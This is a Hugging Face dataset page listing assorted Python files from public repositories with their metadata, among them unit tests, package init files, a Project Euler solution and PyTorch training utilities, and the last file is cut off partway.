xszheng2020/the_stack_dedup_python_hits_5 · Datasets at Hugging Face

afd217d1a8112db0ee8e68f1db1be0558144ae2a

4,443

py

Python

tests/test_dynamicbatching.py

kifish/ParlAI

93a0f31f3d6b03a97c1a081927427dbe1eb1242e

[ "MIT" ]

null

tests/test_dynamicbatching.py

kifish/ParlAI

93a0f31f3d6b03a97c1a081927427dbe1eb1242e

[ "MIT" ]

null

tests/test_dynamicbatching.py

kifish/ParlAI

93a0f31f3d6b03a97c1a081927427dbe1eb1242e

[ "MIT" ]

null

#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Dict, Any import unittest from parlai.core.opt import Opt import parlai.utils.testing as testing_utils from parlai.tasks.integration_tests.agents import NUM_TEST, EXAMPLE_SIZE _TASK = 'integration_tests:variable_length' _DEFAULT_OPTIONS = { 'batchsize': 8, 'dynamic_batching': 'full', 'optimizer': 'adamax', 'learningrate': 7e-3, 'num_epochs': 1, 'n_layers': 1, 'n_heads': 1, 'ffn_size': 32, 'embedding_size': 32, 'truncate': 8, 'model': 'transformer/generator', 'task': _TASK, } # TODO tests to write: # - multiple validation runs, streaming/not streaming # - ranking model class TestDynamicBatching(unittest.TestCase): def _test_correct_processed(self, num_goal: int, **kwargs: Dict[str, Any]): opt = Opt({**_DEFAULT_OPTIONS, **kwargs}) valid_report, test_report = testing_utils.train_model(opt) self.assertEqual(valid_report['exs'], num_goal) self.assertEqual(test_report['exs'], num_goal) def test_no_truncate(self): with self.assertRaises(ValueError): testing_utils.train_model(Opt({**_DEFAULT_OPTIONS, **{'truncate': -1}})) def test_no_batch_act(self): """ Fail when the agent doesn't support dynamic batching. """ with self.assertRaises(TypeError): testing_utils.train_model(model='repeat_label', task=_TASK) with self.assertRaises(TypeError): testing_utils.eval_model(model='repeat_label', task=_TASK) def test_ranking(self): self._test_correct_processed( NUM_TEST, model='transformer/ranker', datatype='train' ) def test_ranking_streaming(self): self._test_correct_processed( NUM_TEST, model='transformer/ranker', datatype='train:stream' ) def test_training(self): self._test_correct_processed(NUM_TEST, datatype='train') def test_streaming(self): self._test_correct_processed(NUM_TEST, datatype='train:stream') def test_multiworld(self): self._test_correct_processed( NUM_TEST + NUM_TEST * EXAMPLE_SIZE, task='integration_tests:variable_length,integration_tests:multiturn', ) def test_multiworld_stream(self): self._test_correct_processed( NUM_TEST + NUM_TEST * EXAMPLE_SIZE, task='integration_tests:variable_length,integration_tests:multiturn', datatype='train:stream', ) class TestBatchSort(unittest.TestCase): def _test_correct_processed(self, num_goal: int, **kwargs: Dict[str, Any]): opt = Opt({**_DEFAULT_OPTIONS, **kwargs}) opt['dynamic_batching'] = 'batchsort' valid_report, test_report = testing_utils.train_model(opt) self.assertEqual(valid_report['exs'], num_goal) self.assertEqual(test_report['exs'], num_goal) def test_no_batch_act(self): """ Fail when the agent doesn't support dynamic batching. """ with self.assertRaises(TypeError): testing_utils.train_model(model='repeat_label', task=_TASK) with self.assertRaises(TypeError): testing_utils.eval_model(model='repeat_label', task=_TASK) def test_ranking(self): self._test_correct_processed( NUM_TEST, model='transformer/ranker', datatype='train' ) def test_ranking_streaming(self): self._test_correct_processed( NUM_TEST, model='transformer/ranker', datatype='train:stream' ) def test_training(self): self._test_correct_processed(NUM_TEST, datatype='train') def test_streaming(self): self._test_correct_processed(NUM_TEST, datatype='train:stream') def test_multiworld(self): self._test_correct_processed( NUM_TEST + NUM_TEST * EXAMPLE_SIZE, task='integration_tests:variable_length,integration_tests:multiturn', ) def test_multiworld_stream(self): self._test_correct_processed( NUM_TEST + NUM_TEST * EXAMPLE_SIZE, task='integration_tests:variable_length,integration_tests:multiturn', datatype='train:stream', ) if __name__ == '__main__': unittest.main()

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0

1

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null

0

5

bb5f34479d295e0746d9f4a49128c1797a2b6161

76

py

Python

archivedir/__init__.py

hadacchi/archivedir

4308b510257612da0bde2b6f2e59b85f53416cdc

[ "MIT" ]

null

archivedir/__init__.py

hadacchi/archivedir

4308b510257612da0bde2b6f2e59b85f53416cdc

[ "MIT" ]

null

archivedir/__init__.py

hadacchi/archivedir

4308b510257612da0bde2b6f2e59b85f53416cdc

[ "MIT" ]

null

from .listdir import listdirs, listfiles from .archivedir import archivedir

25.333333

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76

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5

bba3a5d408b776a3d964bf20f80199f730e66725

224

py

Python

weibo/start_urls.py

abcd567/weibo_fans

6b68b39b341df067fa3b01d5b652f36878bf1f92

[ "MIT" ]

null

weibo/start_urls.py

abcd567/weibo_fans

6b68b39b341df067fa3b01d5b652f36878bf1f92

[ "MIT" ]

null

weibo/start_urls.py

abcd567/weibo_fans

6b68b39b341df067fa3b01d5b652f36878bf1f92

[ "MIT" ]

1

2019-11-28T02:49:31.000Z

# _*_ coding: utf-8 _*_ __author__ = "吴飞鸿" __date__ = "2019/11/26 0:54" # 吴川一中2014届 URL_1 = 'https://weibo.com/p/1005052698466184/follow?relate=fans' # 吴川一中 URL_2 = 'https://weibo.com/p/1005051916867493/follow?relate=fans'

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null

0

5

bbc3ac0852fbcd8380302d1939313072e598418d

299

py

Python

netsuitesdk/api/unitstype.py

dokka-ai/netsuite-sdk-py2.7

93260dea1f02a6b1785b77ffcdd7f8fe3c9d0b76

[ "MIT" ]

null

netsuitesdk/api/unitstype.py

dokka-ai/netsuite-sdk-py2.7

93260dea1f02a6b1785b77ffcdd7f8fe3c9d0b76

[ "MIT" ]

null

netsuitesdk/api/unitstype.py

dokka-ai/netsuite-sdk-py2.7

93260dea1f02a6b1785b77ffcdd7f8fe3c9d0b76

[ "MIT" ]

1

2021-02-22T11:52:20.000Z

from __future__ import absolute_import from .base import ApiBase import logging logger = logging.getLogger(__name__) class UnitsType(ApiBase): def post(self, data): pass def __init__(self, ns_client): ApiBase.__init__(self, ns_client=ns_client, type_name=u'UnitsType')

18.6875

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299

5.076923

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0.121212

0.10101

0.161616

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0.183946

299

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19.933333

0.811475

0

0.030201

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0.222222

false

0.111111

0.333333

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0.666667

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null

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null

0

1

0

1

0

1

0

5

bbe340c0ac380cbfbbb0e66bfb15f168198f9d1a

122

py

Python

sssdevops/__init__.py

amilumas/sssdevops

8ee77f2b62454b5616fb2d47e0d2ea43449be807

[ "BSD-3-Clause" ]

null

sssdevops/__init__.py

amilumas/sssdevops

8ee77f2b62454b5616fb2d47e0d2ea43449be807

[ "BSD-3-Clause" ]

1

2018-07-09T19:22:13.000Z

2018-07-10T14:59:08.000Z

sssdevops/__init__.py

amilumas/sssdevops

8ee77f2b62454b5616fb2d47e0d2ea43449be807

[ "BSD-3-Clause" ]

1

2018-07-09T19:33:48.000Z

""" Main init file for the sssdevops package """ from .sssdevops import * from .listtools import * import versioneer

12.2

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122

5.866667

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0.196721

122

9

41

13.555556

0.897959

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null

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1

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1

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5

a5b69b9b39ded3f55ebdb2c87f7b5aaf308a9939

1,045

py

Python

tnetwork/dyn_graph/dyn_graph.py

tomjorquera/tnetwork

684c9574086d369e80a5ae3b822fcc0f0a704ebd

[ "BSD-2-Clause" ]

null

tnetwork/dyn_graph/dyn_graph.py

tomjorquera/tnetwork

684c9574086d369e80a5ae3b822fcc0f0a704ebd

[ "BSD-2-Clause" ]

null

tnetwork/dyn_graph/dyn_graph.py

tomjorquera/tnetwork

684c9574086d369e80a5ae3b822fcc0f0a704ebd

[ "BSD-2-Clause" ]

null

class DynGraph(): def node_presence(self, nbunch=None): raise NotImplementedError("Not implemented") def add_interaction(self,u_of_edge,v_of_edge,time): raise NotImplementedError("Not implemented") def add_interactions_from(self, nodePairs, times): raise NotImplementedError("Not implemented") def add_node_presence(self,node,time): raise NotImplementedError("Not implemented") def add_nodes_presence_from(self, nodes, times): raise NotImplementedError("Not implemented") def remove_node_presence(self,node,time): raise NotImplementedError("Not implemented") def graph_at_time(self,t): raise NotImplementedError("Not implemented") def remove_interaction(self,u_of_edge,v_of_edge,time): raise NotImplementedError("Not implemented") def remove_interactions_from(self, nodePairs, periods): raise NotImplementedError("Not implemented") def cumulated_graph(self,times=None): raise NotImplementedError("Not implemented")

32.65625

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118

1,045

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1,045

31

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false

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null

1

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null

0

1

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1

0

5

3c33614499bf7cdb9224d40d8c7033bc2d183545

3,225

py

Python

projecteuler/Problem8.py

caoxudong/code_practice

cb960cf69d67ae57b35f0691d35e15c11989e6d2

[ "MIT" ]

1

2020-06-19T11:23:46.000Z

projecteuler/Problem8.py

caoxudong/code_practice

cb960cf69d67ae57b35f0691d35e15c11989e6d2

[ "MIT" ]

null

projecteuler/Problem8.py

caoxudong/code_practice

cb960cf69d67ae57b35f0691d35e15c11989e6d2

[ "MIT" ]

null

''' Find the greatest product of five consecutive digits in the 1000-digit number. 73167176531330624919225119674426574742355349194934 96983520312774506326239578318016984801869478851843 85861560789112949495459501737958331952853208805511 12540698747158523863050715693290963295227443043557 66896648950445244523161731856403098711121722383113 62229893423380308135336276614282806444486645238749 30358907296290491560440772390713810515859307960866 70172427121883998797908792274921901699720888093776 65727333001053367881220235421809751254540594752243 52584907711670556013604839586446706324415722155397 53697817977846174064955149290862569321978468622482 83972241375657056057490261407972968652414535100474 82166370484403199890008895243450658541227588666881 16427171479924442928230863465674813919123162824586 17866458359124566529476545682848912883142607690042 24219022671055626321111109370544217506941658960408 07198403850962455444362981230987879927244284909188 84580156166097919133875499200524063689912560717606 05886116467109405077541002256983155200055935729725 71636269561882670428252483600823257530420752963450 ''' number = '7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450' maxResultArrayLength = 5 resultProduct = 0 resultArrayLength = 0 resultArray = [] loopIndex = 0 digitsCount = len(number) tempDigit = 0 while loopIndex < digitsCount: tempDigit = int(number[loopIndex]) if tempDigit == 0: loopIndex = loopIndex + maxResultArrayLength resultArray = [] resultArrayLength = 0 continue else : if resultArrayLength < maxResultArrayLength: resultArray.append(tempDigit) resultArrayLength = resultArrayLength + 1 if resultArrayLength == maxResultArrayLength: tempResultProduct = 1 for x in resultArray: tempResultProduct = tempResultProduct * x if tempResultProduct > resultProduct: resultProduct = tempResultProduct resultArray.pop(0) resultArrayLength = resultArrayLength - 1 loopIndex = loopIndex + 1 print(resultProduct)

51.190476

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0

5

3c48bd0b2f563f03a32c84109afa962287833d8b

4,208

py

Python

tests/extensions/ack_test.py

ViViDboarder/baiocas

c542e5febdefc62ce36ad3f3ec6358a0017de831

[ "BSD-3-Clause" ]

null

tests/extensions/ack_test.py

ViViDboarder/baiocas

c542e5febdefc62ce36ad3f3ec6358a0017de831

[ "BSD-3-Clause" ]

1

2015-07-03T16:45:12.000Z

2015-07-15T11:37:24.000Z

tests/extensions/ack_test.py

ViViDboarder/baiocas

c542e5febdefc62ce36ad3f3ec6358a0017de831

[ "BSD-3-Clause" ]

1

2019-07-25T00:36:19.000Z

from unittest import TestCase from baiocas.channel_id import ChannelId from baiocas.client import Client from baiocas.extensions.ack import AckExtension from baiocas.message import Message class TestAckExtension(TestCase): def setUp(self): self.extension = AckExtension() self.client = Client('http://www.example.com') self.extension.register(self.client) def test_init(self): assert self.extension.ack_id is None assert not self.extension.server_supports_acks def test_receive_handshake(self): message = Message(channel=ChannelId.META_HANDSHAKE) assert self.extension.receive(message) == message assert not self.extension.server_supports_acks message.ext = {AckExtension.FIELD_ACK: True} assert self.extension.receive(message) == message assert self.extension.server_supports_acks def test_receive_connect(self): # Check that nothing happens when no ACK ID is included message = Message(channel=ChannelId.META_CONNECT, successful=True) assert self.extension.receive(message) is message assert self.extension.ack_id is None assert not self.extension.server_supports_acks # Check that nothing happens when server support is unknown message.ext = {AckExtension.FIELD_ACK: 1} assert self.extension.receive(message) == message assert self.extension.ack_id is None assert not self.extension.server_supports_acks # Notify the extension that server supports ACKs self.extension.receive(Message( channel=ChannelId.META_HANDSHAKE, ext={AckExtension.FIELD_ACK: True} )) # Check that the ACK ID is captured assert self.extension.server_supports_acks assert self.extension.receive(message) == message assert self.extension.ack_id == 1 # Check that the ACK ID is ignored for failed messages message.ext[AckExtension.FIELD_ACK] = 2 message.successful = False assert self.extension.receive(message) == message assert self.extension.ack_id == 1 # Check that the ACK ID is ignored if not an integer message.ext[AckExtension.FIELD_ACK] = '2' message.successful = True assert self.extension.receive(message) == message assert self.extension.ack_id == 1 # Check that updates to the ACK ID are captured message.ext[AckExtension.FIELD_ACK] = 2 assert self.extension.receive(message) == message assert self.extension.ack_id == 2 def test_receive_other(self): message = Message(channel='/test', ext={AckExtension.FIELD_ACK: 1}) assert self.extension.receive(message) is message assert not self.extension.server_supports_acks assert self.extension.ack_id is None def test_send_handshake(self): message = Message(channel=ChannelId.META_HANDSHAKE) assert self.extension.send(message) == message assert message.ext[AckExtension.FIELD_ACK] assert self.extension.ack_id is None self.client.configure(ack_enabled=False) assert self.extension.send(message) == message assert not message.ext[AckExtension.FIELD_ACK] assert self.extension.ack_id is None def test_send_connect(self): message = Message(channel=ChannelId.META_CONNECT) assert self.extension.send(message) == message assert not message.ext self.extension.receive(Message( channel=ChannelId.META_HANDSHAKE, ext={AckExtension.FIELD_ACK: True} )) assert self.extension.send(message) == message assert message.ext[AckExtension.FIELD_ACK] is None self.extension.receive(Message( channel=ChannelId.META_CONNECT, successful=True, ext={AckExtension.FIELD_ACK: 1} )) assert self.extension.send(message) == message assert message.ext[AckExtension.FIELD_ACK] == 1 def test_send_other(self): message = Message(channel='/test') assert self.extension.send(message) == message assert message == {'channel': '/test'}

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3c8104a377dccf3f848f614cb047932b9ba8df98

4,688

py

Python

intro/part04-01_hello_visual_studio_code/test/test_hello_visual_studio_code.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

intro/part04-01_hello_visual_studio_code/test/test_hello_visual_studio_code.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

intro/part04-01_hello_visual_studio_code/test/test_hello_visual_studio_code.py

Hannah-Abi/python-pro-21

2ce32c4bf118054329d19afdf83c50561be1ada8

[ "MIT" ]

null

import unittest from unittest.mock import patch from tmc import points from tmc.utils import load_module, reload_module, get_stdout from functools import reduce from random import choice exercise = 'src.hello_visual_studio_code' def f(d): return '\n'.join(d) @points('4.hello_visualstudio_code') class VsCodeTest(unittest.TestCase): @classmethod def setUpClass(cls): with patch('builtins.input', side_effect =["emacs", "visual studio code"]): cls.module = load_module(exercise, 'en') def test_1_program_stops(self): words = "emacs;visual studio code".split(";") with patch('builtins.input', side_effect = words + [ AssertionError("Input is asked too many times.")]): try: reload_module(self.module) output = get_stdout() except: self.assertTrue(False, f"Make sure that the execution of the program ends with the input\n{f(words)}") def test_2_functionality(self): for string in [ "emacs;visual studio code", "word;emacs;notepad;visual studio code" ]: words = string.split(";") with patch('builtins.input', side_effect = words + [ AssertionError("Input is asked too many times.")]): try: reload_module(self.module) output_all = get_stdout() except: self.assertTrue(False, f"Make sure that the execution of the program ends with the input\n{f(words)}") mssage = """\nNote, that any code SHOULD NOT be placed inside if __name__ == "__main__": block """ #\n{mssage}") self.assertTrue(len(output_all)>0, f"Your program does not print out anything with the input\n{f(words)}\n{mssage}") output = [line.strip() for line in output_all.split("\n") if len(line) > 0] self.assertEqual(len(words), len(output), f"Instead of {len(words)} rows, your programs print out is in {len(output)} rows:\n{output_all}\nwith the input:\n{f(words)}") for i in range(len(words)-2): e = "not good" if not words[i] in ["word", "notepad"] else "awful" line = output[i] self.assertEqual(line, e, f"Row {i+1} in your programs print out is incorrect, it should be\n{e}\nrow is\n{line}\nwith the input:\n{f(words)}\nthe print out is:\n{output_all}") e = "an excellent choice!" line = output[-1] self.assertEqual(line, e, f"Last row of print out of your program is incorrect, it should be\n{e}\nrow is\n{line}\nwith the input:\n{f(words)}\the print out is:\n{output_all}") def test_3_case_insensitive(self): for i in range(20): vsdc = "" for l in "visual studio code": vsdc += choice([l, l.upper()]) words = ["emacs", vsdc] with patch('builtins.input', side_effect = words + [ AssertionError("Input is asked too many times.")]): try: reload_module(self.module) output_all = get_stdout() except: self.assertTrue(False, f"Make sure that the execution of the program ends with the input\n{f(words)}") mssage = """\nNote, that any code SHOULD NOT be placed inside if __name__ == "__main__": block """ #\n{mssage}") self.assertTrue(len(output_all)>0, f"Your program does not print out anything with the input\n{f(words)}\n{mssage}") output = [line.strip() for line in output_all.split("\n") if len(line) > 0] self.assertEqual(len(words), len(output), f"Instead of {len(words)} rows, your programs print out is in {len(output)} rows:\n{output_all}\nwith the input:\n{f(words)}") for i in range(len(words)-2): e = "not good" if not words[i] in ["word", "notepad"] else "awful" line = output[i] self.assertEqual(line, e, f"Row {i+1} in your programs print out is incorrect, it should be\n{e}\nrow is\n{line}\nwith the input:\n{f(words)}\nthe print out is:\n{output_all}") e = "an excellent choice!" line = output[-1] self.assertEqual(line, e, f"Last row of print out of your program is incorrect, it should be\n{e}\nrow is\n{line}\nwith the input:\n{f(words)}\the print out is:\n{output_all}") if __name__ == '__main__': unittest.main()

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null

0

1

0

null

0

5

3c8107032e4d2d0fb4516947d191d667f6fdc12a

48

py

Python

materials_io/adapters/__init__.py

jat255/MaterialsIO

04df70eddc9d0a464f7a089cf753ce26c2adf81f

[ "Apache-2.0" ]

10

2019-03-25T01:16:48.000Z

2022-02-23T16:47:02.000Z

materials_io/adapters/__init__.py

jat255/MaterialsIO

04df70eddc9d0a464f7a089cf753ce26c2adf81f

[ "Apache-2.0" ]

31

2019-02-05T22:47:44.000Z

2022-03-25T21:50:55.000Z

materials_io/adapters/__init__.py

jat255/MaterialsIO

04df70eddc9d0a464f7a089cf753ce26c2adf81f

[ "Apache-2.0" ]

2

2019-11-12T18:30:49.000Z

2022-01-13T20:04:01.000Z

"""Functions and classes related to adapters"""

24

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true

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0

1

0

1

0

null

0

1

0

5

3c910547068a6bc56d1567e13722c8e6a8b7424a

219

py

Python

tasks/__init__.py

aws-samples/aws-glue-local-development

9f06a3de519fa4169effc99bcce2377b7482a4b5

[ "MIT-0" ]

6

2021-04-28T10:56:44.000Z

2021-11-19T02:22:59.000Z

tasks/__init__.py

aws-samples/aws-glue-local-development

9f06a3de519fa4169effc99bcce2377b7482a4b5

[ "MIT-0" ]

null

tasks/__init__.py

aws-samples/aws-glue-local-development

9f06a3de519fa4169effc99bcce2377b7482a4b5

[ "MIT-0" ]

4

2021-06-07T14:19:13.000Z

2021-12-10T00:26:02.000Z

from .common import init_spark, get_spark, read_csv_glue, write_csv_glue, init_glue from .jobs import calculate_average_movie_rating, calculate_top10_movies, create_and_stage_average_rating, create_and_stage_top_movies

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null

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1

0

1

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1

0

5

b1cde3095dc27aa08e1367c680de5e035e090cf3

72

py

Python

srcs/python/kungfu/tensorflow/policy/__init__.py

Pandinosaurus/KungFu

80dfa463450330e920b413f65cc49d8e013b84a9

[ "Apache-2.0" ]

291

2019-10-25T16:37:59.000Z

2022-03-17T21:47:09.000Z

srcs/python/kungfu/tensorflow/policy/__init__.py

Pandinosaurus/KungFu

80dfa463450330e920b413f65cc49d8e013b84a9

[ "Apache-2.0" ]

56

2019-10-26T08:25:33.000Z

2021-09-07T11:11:51.000Z

srcs/python/kungfu/tensorflow/policy/__init__.py

Pandinosaurus/KungFu

80dfa463450330e920b413f65cc49d8e013b84a9

[ "Apache-2.0" ]

53

2019-10-25T17:45:40.000Z

2022-02-08T13:09:39.000Z

from .base_policy import BasePolicy from .policy_hook import PolicyHook

24

35

0.861111

10

72

6

0.7

0

0.111111

72

2

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0.9375

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true

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0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

3cb0f41a5b4734cd2b8b0aaa2acdbd78d62ce523

228

py

Python

ProblemSolving/AppleandOrange.py

KunyuHe/Hacker-Rank-Practice

b6ffae26fd5b11e7826b7c8aa4f197399ed3c93e

[ "Apache-2.0" ]

null

ProblemSolving/AppleandOrange.py

KunyuHe/Hacker-Rank-Practice

b6ffae26fd5b11e7826b7c8aa4f197399ed3c93e

[ "Apache-2.0" ]

null

ProblemSolving/AppleandOrange.py

KunyuHe/Hacker-Rank-Practice

b6ffae26fd5b11e7826b7c8aa4f197399ed3c93e

[ "Apache-2.0" ]

null

def count(s, t, loc, lst): return sum([(loc + dist) >= s and (loc + dist) <= t for dist in lst]) def countApplesAndOranges(s, t, a, b, apples, oranges): print(count(s, t, a, apples)) print(count(s, t, b, oranges))

28.5

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228

3.487179

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0.154412

0.176471

0

0.219298

228

7

74

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0.764045

0

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1

0

1

0

null

0

1

0

1

0

5

3ce8485023dbe76e56272e81fad1b47842469856

59

py

Python

Intro/centuryFromYear.py

sumeyaali/Code_Challenges

e130e9a2bd94f9928e92474e54736409aee69384

[ "MIT" ]

null

Intro/centuryFromYear.py

sumeyaali/Code_Challenges

e130e9a2bd94f9928e92474e54736409aee69384

[ "MIT" ]

null

Intro/centuryFromYear.py

sumeyaali/Code_Challenges

e130e9a2bd94f9928e92474e54736409aee69384

[ "MIT" ]

null

def centuryFromYear(year): return (year -1) // 100 + 1

29.5

32

0.627119

8

59

4.625

0.75

0

0.108696

0.220339

59

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32

29.5

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null

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1

0

null

0

1

0

1

0

5

a72733601466a093b142cc3ece3d58e8fa7396ec

138

py

Python

lessons/loop_true_list.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

lessons/loop_true_list.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

lessons/loop_true_list.py

thepros847/python_programiing

d177f79d0d1f21df434bf3f8663ae6469fcf8357

[ "MIT" ]

null

names = ["kara", "jackie", "Theophilus"] for name in names: print(names) print("\n") for index in range(len(names)): print(names[index])

23

40

0.673913

21

138

4.428571

0.571429

0.322581

0

0.123188

138

6

41

23

0.768595

0

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0

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false

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null

1

0

1

0

null

0

1

0

5

5989b7578d5eb04d2dfcaf3aa8279a99d2f7274b

165

py

Python

cloudless/providers/gce/impl/__init__.py

SYU15/cloudless

4a68c6d0b29dee997aadc89136918d75f374635f

[ "Apache-2.0" ]

8

2018-09-15T00:42:05.000Z

2020-12-08T08:03:10.000Z

cloudless/providers/gce/impl/__init__.py

SYU15/cloudless

4a68c6d0b29dee997aadc89136918d75f374635f

[ "Apache-2.0" ]

96

2018-09-06T00:31:24.000Z

2020-02-25T03:21:22.000Z

cloudless/providers/gce/impl/__init__.py

SYU15/cloudless

4a68c6d0b29dee997aadc89136918d75f374635f

[ "Apache-2.0" ]

2

2018-09-18T22:20:50.000Z

2018-11-04T05:10:43.000Z

""" Implementation Classes for GCE Backing libraries to interact with GCE resources. """ # pylint: disable=W0611 from cloudless.providers.gce.impl import firewalls

20.625

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0.793939

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165

6.238095

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0.027778

0.127273

165

7

51

23.571429

0.881944

0.630303

0

1

0

true

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null

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null

0

1

0

1

0

1

0

5

59d4f45b1dc5e37126b39f1d14b7698a7843a19a

253

py

Python

tests/test_helper.py

anriha/pywlroots

13e043fc73b40249d09596f5c26580b1ae55ec54

[ "NCSA" ]

null

tests/test_helper.py

anriha/pywlroots

13e043fc73b40249d09596f5c26580b1ae55ec54

[ "NCSA" ]

null

tests/test_helper.py

anriha/pywlroots

13e043fc73b40249d09596f5c26580b1ae55ec54

[ "NCSA" ]

null

from pywayland.server import Display from wlroots.backend import BackendType from wlroots.helper import build_compositor def test_build_compositor(): with Display() as display: build_compositor(display, backend_type=BackendType.HEADLESS)

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6.419355

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0.13834

253

9

69

28.111111

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1

0.166667

true

0

0.5

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null

1

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1

0

null

0

1

0

1

0

1

0

5

59e875b710574f411d1af78982cf85a84e7f8cf4

172

py

Python

web_scrapers/linkedin/__init__.py

kohlert/data_science

acfa37ec6e69beda6b7a1b5ae29373b03d32c0f2

[ "MIT" ]

null

web_scrapers/linkedin/__init__.py

kohlert/data_science

acfa37ec6e69beda6b7a1b5ae29373b03d32c0f2

[ "MIT" ]

null

web_scrapers/linkedin/__init__.py

kohlert/data_science

acfa37ec6e69beda6b7a1b5ae29373b03d32c0f2

[ "MIT" ]

null

from .linkedin_public import LinkedinPublic from .linkedin_login import LinkedinLogin from .data_scrubber import LinkedinScrubber from .data_collector import DataCollector

34.4

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7.4

0.6

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0

0.093023

172

4

44

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true

0

1

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null

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0

null

0

1

0

1

0

1

0

5

ab699c2563e355e5e14b367b8a8d6e25fff4a06f

187

py

Python

pero/backends/json/__init__.py

xxao/pero

a7f0c84fae0b21fe120204e798bd61cdab3a125d

[ "MIT" ]

13

2019-07-15T17:51:21.000Z

2022-03-15T06:13:43.000Z

pero/backends/json/__init__.py

xxao/pero

a7f0c84fae0b21fe120204e798bd61cdab3a125d

[ "MIT" ]

1

2021-12-29T00:46:44.000Z

2022-01-21T16:18:48.000Z

pero/backends/json/__init__.py

xxao/pero

a7f0c84fae0b21fe120204e798bd61cdab3a125d

[ "MIT" ]

3

2020-09-27T14:31:45.000Z

2022-01-22T14:28:15.000Z

23.375

54

0.764706

25

187

5.72

0.72

0

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187

7

55

26.714286

0.928571

0.491979

0

1

0

true

0

1

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1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

abf30569718b6865dd82dc6ed4d55c622b80f26c

17,769

py

Python

Tabular Playground Series - Oct 2021/script/nn_utilities.py

DavideStenner/Kaggle

c3e6eae84413611a0859358767319f9604a07d4d

[ "MIT" ]

null

Tabular Playground Series - Oct 2021/script/nn_utilities.py

DavideStenner/Kaggle

c3e6eae84413611a0859358767319f9604a07d4d

[ "MIT" ]

null

Tabular Playground Series - Oct 2021/script/nn_utilities.py

DavideStenner/Kaggle

c3e6eae84413611a0859358767319f9604a07d4d

[ "MIT" ]

null

import torch import torch.nn as nn from torch.utils.data import DataLoader, Dataset from typing import List, Optional import torch.optim as optim import torch.nn.functional as F import random import copy import os import numpy as np from sklearn.metrics import roc_auc_score from utilities import ( RANDOM_STATE, TARGET_COL, N_FOLD, FOLD_STRAT_NAME, PARAMS_LGB_BASE ) def seed_everything(seed=RANDOM_STATE): random.seed(seed) os.environ['PYTHONHASHSEED'] = str(seed) np.random.seed(seed) torch.manual_seed(seed) torch.cuda.manual_seed(seed) torch.backends.cudnn.deterministic = True #########à ########## class TabularDataset: def __init__(self, features, targets): self.features = features self.targets = targets def __len__(self): return (self.features.shape[0]) def __getitem__(self, idx): dct = { 'x' : torch.tensor(self.features[idx, :], dtype=torch.float), 'y' : torch.tensor(self.targets[idx], dtype=torch.float) } return dct class InferenceDataset: def __init__(self, features): self.features = features def __len__(self): return (self.features.shape[0]) def __getitem__(self, idx): dct = { 'x' : torch.tensor(self.features[idx, :], dtype=torch.float), } return dct ######################################################################################################### ######################################################################################################### class Model_ff(nn.Module): def __init__(self, num_features, hidden_size): super(Model_ff, self).__init__() self.middle_size = int(hidden_size/2) self.layer_1 = nn.Sequential( nn.BatchNorm1d(num_features), nn.Dropout(0.1), nn.Linear(num_features, hidden_size), nn.GELU(), ) self.layer_2 = nn.Sequential( nn.BatchNorm1d(hidden_size), nn.Dropout(0.2), nn.Linear(hidden_size, hidden_size * 2), nn.GELU() ) self.layer_3 = nn.Sequential( nn.BatchNorm1d(hidden_size * 2), nn.Dropout(0.2), nn.Linear(hidden_size * 2, hidden_size), nn.GELU() ) self.layer_4 = nn.Sequential( nn.BatchNorm1d(hidden_size), nn.Dropout(0.1), nn.Linear(hidden_size, self.middle_size), nn.GELU() ) self.classifier = nn.Sequential( nn.BatchNorm1d(self.middle_size), nn.Dropout(0.1), nn.Linear(self.middle_size, 1) ) def forward(self, x): x = self.layer_1(x) x = self.layer_2(x) x = self.layer_3(x) x = self.layer_4(x) x = self.classifier(x) return x class Model_list(nn.Module): def __init__(self, output_dims: List[int], dropout_list: List[float], num_features): super().__init__() layers: List[nn.Module] = [] input_dim: int = num_features for i, output_dim in enumerate(output_dims): layers.append(nn.BatchNorm1d(input_dim)) layers.append(nn.Linear(input_dim, output_dim)) layers.append(nn.GELU()) layers.append(nn.Dropout(dropout_list[i])) input_dim = output_dim layers.append(nn.BatchNorm1d(input_dim)) layers.append(nn.Linear(input_dim, 1)) self.layers: nn.Module = nn.Sequential(*layers) def forward(self, data: torch.Tensor) -> torch.Tensor: logits = self.layers(data) return logits ############################# def train_fn(model, optimizer, scheduler, criterion, dataloader, device): model.train() final_loss = 0 for data in dataloader: optimizer.zero_grad() inputs, targets = data['x'].to(device), data['y'].to(device).unsqueeze(1) outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() scheduler.step() final_loss += loss.item() final_loss /= len(dataloader) return final_loss def valid_fn(model, criterion, dataloader, device): model.eval() final_loss = 0 valid_preds = [] for data in dataloader: inputs, targets = data['x'].to(device), data['y'].to(device).unsqueeze(1) outputs = model(inputs) loss = criterion(outputs, targets) final_loss += loss.item() valid_preds.append(outputs.sigmoid().detach().cpu().numpy()) final_loss /= len(dataloader) valid_preds = np.concatenate(valid_preds) return final_loss, valid_preds def inference_fn(model, dataloader, device): model.eval() preds = [] for data in dataloader: inputs = data['x'].to(device) with torch.no_grad(): outputs = model(inputs) preds.append(outputs.sigmoid().detach().cpu().numpy()) preds = np.concatenate(preds) return preds #########################à def run_training(train, valid, fold, model_nn, num_feature, hidden, batch_size, epochs, seed, early_stop_step, early_stop, device, learning_rate, weight_decay, verbose= True, save = True): assert 